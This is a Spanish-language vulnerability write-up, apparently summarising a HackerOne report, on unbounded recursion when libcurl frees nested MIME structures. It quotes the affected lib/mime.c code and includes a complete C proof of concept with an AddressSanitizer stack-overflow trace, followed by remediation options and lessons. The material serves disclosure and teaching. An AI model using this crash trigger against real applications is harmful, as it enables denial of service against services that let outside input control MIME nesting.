Resumen
libcurl permite montar cuerpos multipart con su API MIME: curl_mime_addpart añade una parte y curl_mime_subparts convierte esa parte en contenedor de otra estructura MIME completa. Así se puede anidar una estructura dentro de otra tantas veces como se quiera, porque ni al construirla ni al añadir subpartes hay ningún control de profundidad.
La lectura de esas estructuras sí estaba protegida: en lib/mime.c existe MAX_MIME_LEVELS = 40, y read_part_content arrastra un contador call_depth que devuelve error al superar los 40 niveles:
static size_t read_part_content(curl_mimepart *part, char *buffer,
size_t bufsize, bool *hasread,
size_t call_depth)
{
if(++call_depth > MAX_MIME_LEVELS)
return READ_ERROR;
...
El fallo estaba en el camino de liberación, que no tenía ningún contador equivalente. Cuando una parte contiene subpartes, su freefunc apunta a mime_subparts_free, y al liberar se forma un ciclo de llamadas que baja un nivel por cada anidamiento:
curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> part->freefunc() (mime_subparts_free) -> curl_mime_free -> ...
El código implicado en lib/mime.c:
/* line 1056 */
static void cleanup_part_content(curl_mimepart *part)
{
if(part->freefunc)
part->freefunc(part->arg); /* calls mime_subparts_free for multipart parts */
...
}
/* line 1075 */
static void mime_subparts_free(void *ptr)
{
curl_mime *mime = (curl_mime *)ptr;
if(mime && mime->parent) {
mime->parent->freefunc = NULL;
cleanup_part_content(mime->parent);
}
curl_mime_free(mime); /* recurses back into curl_mime_free */
}
/* line 1113 */
void curl_mime_free(curl_mime *mime)
{
curl_mimepart *part;
if(mime) {
mime_subparts_unbind(mime);
while(mime->firstpart) {
part = mime->firstpart;
mime->firstpart = part->nextpart;
Curl_mime_cleanpart(part); /* calls cleanup_part_content */
curlx_free(part);
}
curlx_free(mime);
}
}
Cada nivel de anidamiento cuesta unos cuatro marcos de pila. En la prueba del investigador bastaron 5000 niveles para desbordarla, aunque la cifra exacta depende del sistema y de la memoria disponible.
El reporte señala otras dos funciones con el mismo patrón, que recorren las subpartes recursivamente sin comprobar la profundidad: multipart_size (línea 1570) y Curl_mime_prepare_headers (línea 1761). En esta última, el recorrido está en la línea 1860:
for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) {
result = Curl_mime_prepare_headers(data, subpart, NULL,
disposition, strategy);
if(result)
return result;
}
Pasos de reproducción
- Compilar libcurl con AddressSanitizer, como en la prueba del investigador, para que el desbordamiento de pila quede diagnosticado con la traza de llamadas.
- Compilar y enlazar contra esa libcurl el siguiente programa, que crea una cadena de 5000 estructuras MIME, cada una metida como subparte de la anterior, y después libera la raíz:
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *easy;
curl_mime *root;
curl_mime *current;
int i;
curl_global_init(CURL_GLOBAL_ALL);
easy = curl_easy_init();
root = curl_mime_init(easy);
current = root;
if(!easy || !root)
return 1;
for(i = 0; i < 5000; i++) {
curl_mimepart *part = curl_mime_addpart(current);
curl_mime *child = curl_mime_init(easy);
if(!part || !child)
return 1;
curl_mime_subparts(part, child);
current = child;
}
printf("freeing 5000 nested MIME levels\n");
fflush(stdout);
curl_mime_free(root);
curl_easy_cleanup(easy);
curl_global_cleanup();
return 0;
}
- Ejecutarlo. La construcción termina sin error, pero la llamada a
curl_mime_free(root)agota la pila. AddressSanitizer muestra el ciclo de funciones repitiéndose:
freeing 5000 nested MIME levels
AddressSanitizer:DEADLYSIGNAL
=================================================================
==83118==ERROR: AddressSanitizer: stack-overflow on address 0x00016c63ffb8 (pc 0x0001032bf7a0 bp 0x00016c6400a0 sp 0x00016c63fd20 T0)
#0 0x0001032bf7a0 in cleanup_part_content mime.c:1061
#1 0x0001032c7a6c in mime_subparts_free mime.c:1081
#2 0x0001032bf794 in cleanup_part_content mime.c:1059
#3 0x0001032bed6c in Curl_mime_cleanpart mime.c:1101
#4 0x0001032c0534 in curl_mime_free mime.c:1122
#5 0x0001032c7a78 in mime_subparts_free mime.c:1083
#6 0x0001032bf794 in cleanup_part_content mime.c:1059
#7 0x0001032bed6c in Curl_mime_cleanpart mime.c:1101
#8 0x0001032c0534 in curl_mime_free mime.c:1122
.....
Impacto
El riesgo afecta a aplicaciones que usan la API MIME de libcurl y dejan que datos externos decidan cuántos niveles de anidamiento se crean. En ese caso, un atacante puede enviar una entrada que genere miles de niveles y provocar que el proceso muera de forma fiable al liberar la estructura. Como el fallo ocurre en la limpieza normal, una vez construida la estructura la aplicación ya no puede evitarlo.
Es una denegación de servicio: el investigador indica que no ve forma de convertirlo en ejecución de código. En HackerOne el reporte figura con severidad "none", aunque se resolvió y tiene asignado el CVE-2026-92391.
Remediación
El reporte está marcado como resuelto, pero no detalla cómo quedó el parche. El investigador propuso dos opciones: pasar un contador de profundidad por curl_mime_free, Curl_mime_cleanpart, cleanup_part_content y mime_subparts_free, igual que ya hace read_part_content, y hacer lo mismo en multipart_size y Curl_mime_prepare_headers; o bien reescribir estas funciones de forma iterativa, que en su opinión sería más robusto que poner un tope.
Qué aprender de este caso
- Si una librería limita la profundidad en una ruta (aquí, la lectura con
MAX_MIME_LEVELS), revisa las demás que recorren el mismo árbol: liberación, cálculo de tamaño y preparación de cabeceras. Es fácil que el límite solo exista donde alguien se acordó de ponerlo. - Busca recursiones mutuas que pasan por punteros a función, como
freefunc→mime_subparts_free→curl_mime_free. No se ven a simple vista porque ninguna función se llama directamente a sí misma. - Si la API deja anidar sin límite al construir, la limpieza no puede dar por hecho que la profundidad será razonable. Lo más seguro es poner el tope al construir, o liberar el árbol de forma iterativa (con una lista de nodos pendientes) en vez de recursiva.
- Para encontrar estos fallos, una prueba sencilla es generar estructuras con miles de niveles y pasarlas por todo el ciclo de vida (crear, usar, liberar) con AddressSanitizer, que señala el desbordamiento de pila con la función exacta.